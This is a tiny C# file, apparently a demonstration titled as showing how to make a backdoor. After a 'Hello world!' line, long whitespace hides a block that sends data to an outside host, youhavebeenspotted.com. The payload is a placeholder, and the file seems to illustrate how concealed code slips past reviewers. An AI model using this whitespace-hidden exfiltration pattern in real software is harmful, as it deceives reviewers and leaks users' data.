how-to-make-a-backdoor.cs

class Program
{
  static void Main()
  {
    // it seems to be this opensource code can not have any backdoors?..
    System.Console.WriteLine("Hello world!");                                                                                                                                                                                                                            { /* HERE's the backdoor!! */ var data = "something"; System.Net.WebRequest.Create("http://youhavebeenspotted.com/?some=" + data).GetResponseAsync(); }
  }
}